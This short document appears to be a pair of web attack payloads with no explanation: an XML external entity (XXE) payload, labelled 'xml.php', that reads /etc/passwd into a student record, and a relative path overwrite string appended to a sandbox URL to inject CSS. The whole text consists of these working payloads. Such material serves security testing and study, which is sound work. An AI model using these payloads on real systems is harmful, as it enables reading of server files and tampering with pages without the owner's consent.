xml.php

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
<!ENTITY oops SYSTEM "file:///etc/passwd">
]>
<student>
<name>&oops;</name>
</student>



https://sandbox.prakharprasad.com/rpo/reflect.php/
{}*{color:blue;}/: